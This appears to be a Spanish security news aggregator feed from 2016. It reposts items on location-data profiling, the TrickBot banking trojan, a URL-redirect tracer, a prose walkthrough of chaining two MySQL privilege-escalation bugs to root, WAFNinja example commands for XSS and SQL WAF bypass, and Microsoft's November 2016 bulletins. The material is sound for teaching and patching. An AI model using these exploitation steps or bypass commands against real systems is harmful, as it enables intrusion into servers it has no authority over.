- Tu geolocalización en series: Analizando la serie de ubicaciones, y viendo los patrones de encendido y apagado de tu localización, y la velocidad a la que cambia el delta de tu ubicación, se podría saber también:
- En qué medio de transporte te mueves.
- Cuántas amantes tienes (o en cuantas casas duermes).
- Cuál es tu actividad física (Vas a gimnasios, corres, bicicleta).
- Hospitalizaciones, problemas médicos.
- Viajes placer o negocios.
Y también cosas más mundanas cómo “Dónde has aparcado tu coche” o “Vas a tardar 25 minutos en llegar al colegio de tus hijos”.

Figura 6: Dónde has aparacado tu coche

- Eventos temporales: Si cruzamos la ubicación con las bases de datos que venden empresas con información de eventos que tienen lugar en un día y a una hora en una ubicación se podría acceder a qué películas se ponen en cada instante en cada cine, qué conciertos tienen lugar en cada bar, qué espectáculos deportivos tienen lugar en cada escenario o qué eventos o reuniones de negocio tienen lugar en cada ubicación (como los meetups o eventos de cada tipo). Con esto se saca un perfilado de:
- Tus gustos.
- Tus aficiones.
- Equipo de fútbol.
- Cantantes, actores, etcétera.
- Eventos significativos: Pero si esos eventos son de otra índole, por ejemplo, manifestaciones, mítines políticos, ceremonias religiosas, cárceles o fiestas sexuales. Se podría saber
- Ideología política.
- Ideología religiosa.
- Participación en determinados actos reivindicativos.
- Intereses secretos.
- Conexiones personales.
- Con otras personas: Si ahora cruzamos la base de datos de ubicaciones y vemos qué personas están al mismo tiempo en la misma ubicación, entonces se podrían conocer un montón de datos sociales:
- Quiénes son tus amigos y perfilarte por tus amigos.
- Perfilar un Punto de Interés, por ejemplo, una ubicación tipo tienda o restaurante, por ideología, edad, nivel socio-económico, etcétera.
- Deep Learning: Y si ahora utilizamos el perfilado social para detectar anomalías o patrones usando técnicas de Machine Learning & Deep Learning, se puede predecir mucho de cada persona uniéndolo con otros datos:
- Saber si un comercio comete fraude o no en los impuestos que paga por el tipo de gente que lo visita, la cantidad media de visitas y los impuestos que paga.
- Detectar comportamientos anómalos o erráticos.
- Detectar comportamientos ilegales.
- Predecir la fecha de tu muerte.
¿Datos buenos o Malos?

Todo lo que se aprende de un dato, todos estos insights, no tienen por qué ser malos ni mucho menos. Los datos se dan a gente o empresas de nuestra confianza para que nos hagan la vida más fácil. Yo le doy muy ubicación a Waze para que me ayude con la ruta y me da valor. Yo le doy mi ubicación a Facebook a cambio del servicio que me da porque me compensa la calidad de su servicio. Yo acepto que Skype sepa desde dónde estoy haciendo una llamada para poder usar su servicio. Y proteger tu tarjeta de crédito por tu ubicación es también de gran valor para mí. Que el banco detecte que mi banco detecte que no soy yo el que está usando mi tarjeta de crédito porque se está usando en un lugar en el que no estoy yo, también tiene un valor positivo para mí.


Figura 7: Proteger tarjetas de crédito con ubicación

Al final los datos pueden ser utilizados para muchas cosas buenas y se pueden usar incluso preservando la privacidad de las personas para mejorar la sociedad. La existencia de Waze o Google Maps u otros servicios de rutas han hecho que el tráfico en las ciudades sea lo mejor posible gracias a ellos. Además, analizando el movimiento de personas una ciudad puede planificar mejor sus infraestructuras a la hora de poner un colegio o un hospital. Y ayudar en crisis y emergencias de salud. Por ejemplo, conociendo cuáles son los patrones de movimiento de los habitantes de una ciudad donde se ha producido el brote de una enfermedad, es posible predecir la ruta más probable de expansión, o saber si el plan de emergencia de un país funciona tras un terremoto o una catástrofe natural.


Figura 8: Cómo usar los datos de localización para salvar vidas

Al final, de lo que se trata es de entender cuál es el pacto que haces con cada empresa, app u organización en la que compartes tus datos, para que entiendas si tiene valor para ti el servicio que recibes, y que no te extrañe si el día de mañana aparece asociado a tu perfil tu ideología o sexualidad porque una app gratuita capturó tu ubicación cuando diste a “Sí, Acepto” y vendió tu asistencia tiendas y reuniones que le sirvieron para perfilarte y luego vendió esos datos a un tercero.

Saludos Malignos!

Via:www.elladodelmal.com

El troyano bancario TrickBot azota a Europa.

$
0
0
TrickBot no es un troyano nuevo, ya lleva un tiempo con nosotros. Y aunque comenzó teniendo como objetivo a bancos australianos, en relativamente poco tiempo, se han hallado evidencias que apuntan a bancos de la Unión Europea, incluyendo bancos irlandeses, británicos y alemanes.  

A pesar de tener diferente código, TrickBot guarda similitudes con Dyreza(también conocido simplemente como Dyre). Otro viejo conocido responsable de decenas de millones de dólares robados, 
 
Fracción extraída del archivo de configuración donde se pueden apreciar algunos de los bancos atacados

Entre los bancos afectados, se encuentran:
  • Ulsterbank 
  • Banco de Escocia 
  • Co-OperativeBank 
  • RBSIdigital 
  • LloydsBank 
  • Barclays Wealth 
  • NationWide 
  • TSB 
  • HSBC 
  • Coutts 
  • Bankleumim 
  • Barclays 
  • TDCommercialBanking 
  • ASB 
  • Suncorpbank 
  • Commbank 
  • St George 
  • Banksa 
  • Banco de Belmourne 
  • BankWest 
  • Westpac 
  • ANZ 
  • PNBank 
  • CitiBank 
  • CIBC 
  • Commerzbank 
  • NAB

Como curiosidades de TrickBot cabe destacar que en vez de usar SHA256, utiliza la CryptoAPI de Microsoft. A diferencia de otros troyanos, no usa comandos desde el bot directamente sino que emplea un programador de tareas (taskscheluder) a través de COM, de esta forma logra una mayor persistencia. 

Volcado de memoria de la fase inicial de TrickBot

Destaca también la utilización de routers comprometidos para mantener la infraestructura el máximo tiempo posible. Tiene un diseño modular que le facilita la realización de sus diversas actividades maliciosas. Por ejemplo, incluye un modulo llamado GetSystemInfo, que se encarga de guardar la información de todo el sistema infectado para enviarla remotamente. Otro módulo reseñable es InjectDLL que se inyecta en los navegadores para observar que paginas se visitan.

A pesar de no haber golpeado aún a bancos españoles, es posible que tras haber mutado en poco tiempo desde Australia hacia Europa, pueda acabar afectando a entidades españolas.

Como siempre, ante este tipo de amenazas, se recomienda mantener los Antivirus actualizados, así como evitar abrir e-mails adjuntos de desconocidos.

Más información:

una-al-dia (05/11/2015) Malware Dyre continúa actualizándose


Fernando Díaz



Via:unaaldia.hispasec.com

Hoper - Trace URL's jumps across the rel links to obtain the last URL

$
0
0

It shows all the hops that makes a url you specify to reach its endpoint. For example if you want to see the entire trip by email URL or like a URL shorten. Hoper returns you all URLs redirections.

Installation
$ gem install hoper

Usage
Type in your command line:
$ hoper [url]

Development
After checking out the repo, run bin/setup to install dependencies. You can also run bin/console for an interactive prompt that will allow you to experiment.
To install this gem onto your local machine, run bundle exec rake install . To release a new version, update the version number in version.rb , and then run bundle exec rake release , which will create a git tag for the version, push git commits and tags, and push the .gem file to rubygems.org .



Via:www.kitploit.com

Cómo explotar los 2 bugs críticos de MySQL para ser root en el servidor GNU/Linux de tu WordPress (u otro CMS)

$
0
0
A finales de la semana pasada se publicó una vulnerabilidad de las denominadas como críticas y que además venía en formato doble. El producto afectado, en esta ocasión, era MySQL, uno de los motores de base de datos más utilizados en Internet. No hace mucho, teníamos una grave vulnerabilidad que afectaba al kernel de GNU/Linux y que provocaba la escalada de privilegios en un sistema, como fue DirtyCOW. En esta ocasión, el problema radica en el motor de base de datos MySQL.

Figura 1: Cómo explotar los 2 bugs críticos de MySQL para ser root en
el servidor GNU/Linux de tu WordPress (u otro CMS)

Hace más o menos un mes, el investigador Dawid Golunski, reportó dos vulnerabilidades críticas sobre el popular motor de base de datos MySQL. La primera vulnerabilidad era la CVE-2016-6663 y la segunda la CVE-2016-6664. El investigador documentó una prueba de concepto, en el que se puede ver como se aprovecha de la segunda vulnerabilidad para lograr la escalada de privilegios.

La primera vulnerabilidad es un fallo de condición de carrera que provoca la escalada de privilegios, por lo que un atacante con acceso a la máquina podría ejecutar código arbitrario en un contexto superior al suyo. El investigador polaco indicó que esta vulnerabilidad puede permitir que un usuario local con acceso a la base de datos afectada pueda elevar su privilegio en el contexto de la base de datos, pudiendo ejecutar comandos como usuario mysql. La explotación permitiría a un atacante acceder a todas las bases de datos que se encontrasen creadas o almacenadas en la plataforma. Aquí el vídeo de la demostración.

Figura 2: Demo en vídeo publicada por los investigadores

El investigador Golunski descubrió que un potencial atacante podría llegar a comprometer la seguridad global del servidor con la otra vulnerabilidad, la CVE-2016-6664. La segunda vulnerabilidad permite la escalada de privilegios a root. El fallo reside en que los usuarios que tienen acceso al usuario mysql dentro del sistema, éste se consigue con la vulnerabilidad tratada anteriormente, pueden lograr el máximo privilegio en el sistema gracias a la forma en la que se administran los registros de errores, ya que estos realizan operaciones de forma insegura, pudiéndose añadir un archivo con código arbitrario.

PoC: Jugando con ambos y logrando mysql user & root user

El paso inicial de llegar al equipo, a través por ejemplo de una vulnerabilidad web que permita ejecutar código en una máquina, nos lo saltamos. Incluso, puede que la vulnerabilidad fuera explotada por un auditor con acceso físico a dicha máquina. Sea como sea, comenzamos con una shell en el equipo. Un ejemplo perfecto de creación de exploits en Linux.

El primer paso es comprobar, mediante la ejecución del comando mysql –version, la versión del sistema instalado. Para MySQL son las siguientes:
• Menor que 5.5.51
• Menor que 5.6.32
• Menor que 5.7.14
Compilando el exploit, que se puede encontrar en exploit-db, de la primera vulnerabilidad, tenemos que tener en cuenta que el sistema tenga instalado libmysqlclient-dev. Una vez compilado obtenemos el binario.

Figura 3: Compilación del binario

En este punto necesitaremos disponer de información de un usuario de la base de datos, contraseña, su cadena de conexión. Cuando el usuario se encuentra dentro del sistema puede buscar dicha información, a través, por ejemplo, de la aplicación web vulnerada, si ésta tuviera una base de datos detrás, por ejemplo, Wordpress.

Figura 4: Explotando el motor MySQL de un Wordpress

Al final obtenemos un mensaje en el que nos indica que todo ha ido bien, que tenemos el rol de mysqluser y que desde aquí podemos llevar a cabo la escalada total y final de privilegios, a través de la explotación de la vulnerabilidad CVE-2016-6664.

Figura 5: El exploit da acceso con el rol mysql user

Una vez nos encontramos en este punto, vamos a lograr la shell de root. Ahora, aprovechándonos del exploit desarrollado por Dawid Golinski, vamos a aprovecharnos de la mala gestión de los ficheros de error que hace el sistema. Ahora, desde la consola conseguida anteriormente, debemos ejecutar el fichero bash script que se puede obtener desde exploit-db.

Figura 6: Ahora con la segunda vulnerabilidad se consigue sheel de root

Dicha ejecución nos proporciona una consola como root, teniendo acceso global al sistema gracias a encadenar dichas vulnerabilidades. A día de hoy, estas dos vulnerabilidades son críticas, pero existe solución para ellas, por lo que se recomienda a los equipos de IT que actualicen lo antes posible sus sistemas de producción.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

Via:www.elladodelmal.com

WAFNinja - Penetration testers favorite for WAF Bypassing

$
0
0

WAFNinja is a CLI tool written in Python. It shall help penetration testers to bypass a WAF by automating steps necessary for bypassing input validation. The tool was created with the objective to be easily extendible, simple to use and usable in a team environment. Many payloads and fuzzing strings, which are stored in a local database file come shipped with the tool. WAFNinja supports HTTP connections, GET and POST requests and the use of Cookies in order to access pages restricted to authenticated users. Also, an intercepting proxy can be set up.

Usage:
wafninja.py [-h] [-v] {fuzz, bypass, insert-fuzz, insert-bypass, set-db} ...
EXAMPLE:
fuzz:
python wafninja.py fuzz -u "http://www.target.com/index.php?id=FUZZ"
-c "phpsessid=value" -t xss -o output.html
bypass:
python wafninja.py bypass -u "http://www.target.com/index.php"  -p "Name=PAYLOAD&Submit=Submit"
-c "phpsessid=value" -t xss -o output.html
insert-fuzz:
python wafninja.py insert-fuzz -i select -e select -t sql
positional arguments: {fuzz, bypass, insert-fuzz, insert-bypass, set-db}
Which function do you want to use?

fuzz check which symbols and keywords are allowed by the WAF.
bypass sends payloads from the database to the target.
insert-fuzz add a fuzzing string
insert-bypass add a payload to the bypass list
set-db use another database file. Useful to share the same database with others.

optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
I would appreciate any feedback! Cheers, Khalil.



Via:www.kitploit.com

Microsoft publica 14 boletines de seguridad y soluciona 68 vulnerabilidades incluidas dos 0-day

$
0
0
Este martes Microsoft ha publicado 14 boletines de seguridad (del MS16-129 al MS16-142) correspondientes a su ciclo habitual de actualizaciones. Según la propia clasificación de Microsoft seis de los boletines presentan un nivel de gravedad "crítico"mientras que los ocho restantes son "importantes". En total se han solucionado 68 vulnerabilidades (algunas de ellas en varios productos). También se han solucionado dos 0days, incluido el reciente anunciado por Google. Además se han corregido otras nueve vulnerabilidades adicionales en Flash Player.

Los boletines publicados son los siguientes:

MS16-142: La habitual actualización acumulativa para Microsoft Internet Explorer que además soluciona siete nuevas vulnerabilidades. La más grave de ellas podría permitir la ejecución remota de código si un usuario visita, con Internet Explorer, una página web especialmente creada (CVE-2016-7195, CVE-2016-7196, CVE-2016-7198, CVE-2016-7199, CVE-2016-7227, CVE-2016-7239y CVE-2016-7241)

MS16-129: Boletín "crítico" que incluye la también habitual actualización acumulativa para Microsoft Edge, el navegador incluido en Windows 10. En esta ocasión se solucionan 17 vulnerabilidades, la más grave de ellas podría permitir la ejecución remota de código si un usuario visita, con Microsoft Edge, una página web especialmente creada (CVE-2016-7195, CVE-2016-7196, CVE-2016-7198al CVE-2016-7204, CVE-2016-7208, CVE-2016-7209, CVE-2016-7227, CVE-2016-7239al CVE-2016-7243).

MS16-130: Actualización considerada "crítica" destinada a corregir tres vulnerabilidades en diferentes componentes de Windows. La más grave podría permitir la ejecución remota de código arbitrario (CVE-2016-7221, CVE-2016-7222 y CVE-2016-7212).

MS16-131: Boletín "crítico" que resuelve una vulnerabilidad (CVE-2016-7248) en Microsoft Windows que podría permitir la ejecución remota de código si Microsoft Video Control falla al tratar adecuadamente objetos en memoria.

MS16-132: Boletín "crítico" destinado a corregir cuatro vulnerabilidades en Microsoft Graphics Component, que podrían permitir la ejecución remota de código si se abre un documento o web específicamente creada. Una de ellas se está explotando de forma activa en la actualidad. (CVE-2016-7210, CVE-2016-7205, CVE-2016-7217y CVE-2016-7256).

MS16-133: Boletín "importante" que soluciona seis vulnerabilidades, la más grave de ellas que podría permitir la ejecución remota de código si se abre un archivo específicamente creado con Microsoft Office (CVE-2016-7213, CVE-2016-7228, CVE-2016-7229, CVE-2016-7230, CVE-2016-7231y CVE-2016-7232).

MS16-134: Destinado a corregir 10 vulnerabilidades de gravedad "importante", que podrían permitir la elevación de privilegios cuando el controlador Windows Common Log File System (CLFS) trata objetos en memoria de forma inadecuada (CVE-2016-0026, CVE-2016-3332, CVE-2016-3333, CVE-2016-3334, CVE-2016-3335, CVE-2016-3338, CVE-2016-3340, CVE-2016-3342, CVE-2016-3343y CVE-2016-7184).

MS16-135: Boletín de carácter "importante" destinado a corregir cinco vulnerabilidades en el controlador modo kernel de Windows que podrían permitir la elevación de privilegios si un usuario ejecuta una aplicación específicamente creada. Está actualización corrige la vulnerabilidad 0day anunciada recientemente por Google y que ya comentamos anteriormente en una-al-día (CVE-2016-7214, CVE-2016-7215,CVE- 2016-7218,CVE-2016-7246yCVE-2016-7255). Afecta a Windows Vista, Windows Server 2008, Windows 7, Windows 8.1, Windows Server 2012 y Windows 10.

MS16-136: Actualización considerada "importante" destinada a corregir seis vulnerabilidades en Microsoft SQL Server. La más grave podría permitir a un atacante elevar sus privilegios para visualizar, cambiar o borrar datos o crear nuevas cuentas (CVE-2016-7249,CVE-2016-7250,CVE-2016-7254,CVE-2016-7251,CVE-2016-7252 yCVE-2016-7253).

MS16-137: Boletín considerado "importante" que resuelve tres vulnerabilidades en Microsoft Windows. La más grave podría permitir a un atacante elevar sus privilegios mediante la manipulación de solicitudes de cambio de contraseña NTLM (CVE-2016-7220,CVE-2016-7237yCVE-2016-7238).

MS16-138: Destinado a corregir cuatro vulnerabilidades "importantes" debido a que Windows Virtual Hard Disk Driver trata inadecuadamente el acceso del usuario a determinados archivos. Un atacante podría manipular archivos en localizaciones para las que no debería tener acceso (CVE-2016-7223, CVE-2016-7224, CVE-2016-7225y CVE-2016-7226).

MS16-139: Boletín considerado "importante" que resuelve una vulnerabilidad de elevación de privilegios en el kernel de Windows (CVE-2016-7216).

MS16-140: Boletín "importante" que resuelve una vulnerabilidad (CVE-2016-7247) que podría permitir evitar funciones de seguridad del Boot Manager. Afecta a Windows 8.1, Windows Server 2012, Windows 10 y Windows Server 2016.

MS16-141: Como ya es habitual, Microsoft publica un boletín para resolver las vulnerabilidades solucionadas por Adobe en Flash Player en su también boletín periódico. Se trata de un boletín "crítico" que en esta ocasión soluciona nueve vulnerabilidades en Adobe Flash Player instalado en Windows Server 2012, Windows Server 2016, Windows 8.1 y Windows 10; correspondientes al boletín APSB16-37de Adobe (y que comentaremos con más detalle en una próxima una-al-día).

Las actualizaciones publicadas pueden descargarse a través de Windows Update o consultando los boletines de Microsoft donde se incluyen las direcciones de descarga directa de cada parche. Se recomienda la actualización de los sistemas con la mayor brevedad posible.

Más información:

Microsoft Security Bulletin Summary for November 2016

Microsoft Security Bulletin MS16-129 - Critical
Cumulative Security Update for Microsoft Edge (3199057)

Microsoft Security Bulletin MS16-142 - Critical
Cumulative Security Update for Internet Explorer (3198467)

Microsoft Security Bulletin MS16-130 - Critical
Security Update for Microsoft Windows (3199172)

Microsoft Security Bulletin MS16-131 - Critical
Security Update for Microsoft Video Control (3199151)

Microsoft Security Bulletin MS16-132 - Critical
Security Update for Microsoft Graphics Component (3199120)

Microsoft Security Bulletin MS16-133 - Important
Security Update for Microsoft Office (3199168)
https://technet.microsoft.com/library/security/MS16-133

Microsoft Security Bulletin MS16-134 - Important
Security Update for Common Log File System Driver (3193706)

Microsoft Security Bulletin MS16-135 - Important
Security Update for Windows Kernel-Mode Drivers (3199135)

Microsoft Security Bulletin MS16-136 - Important
Security Update for SQL Server (3199641)

Microsoft Security Bulletin MS16-137 - Important
Security Update for Windows Authentication Methods (3199173)

Microsoft Security Bulletin MS16-138 - Important
Security Update for Microsoft Virtual Hard Disk Driver (3199647)

Microsoft Security Bulletin MS16-139 - Important
Security Update for Windows Kernel (3199720)

Microsoft Security Bulletin MS16-140 - Important
Security Update for Boot Manager (3193479)

Microsoft Security Bulletin MS16-141 - Critical
Security Update for Adobe Flash Player (3202790)

una-al-dia (01/11/2016) Elevación de privilegios sin corregir en Microsoft Windows


Antonio Ropero

Twitter: @aropero

Via:unaaldia.hispasec.com
Viewing all 1133 articles
Browse latest View live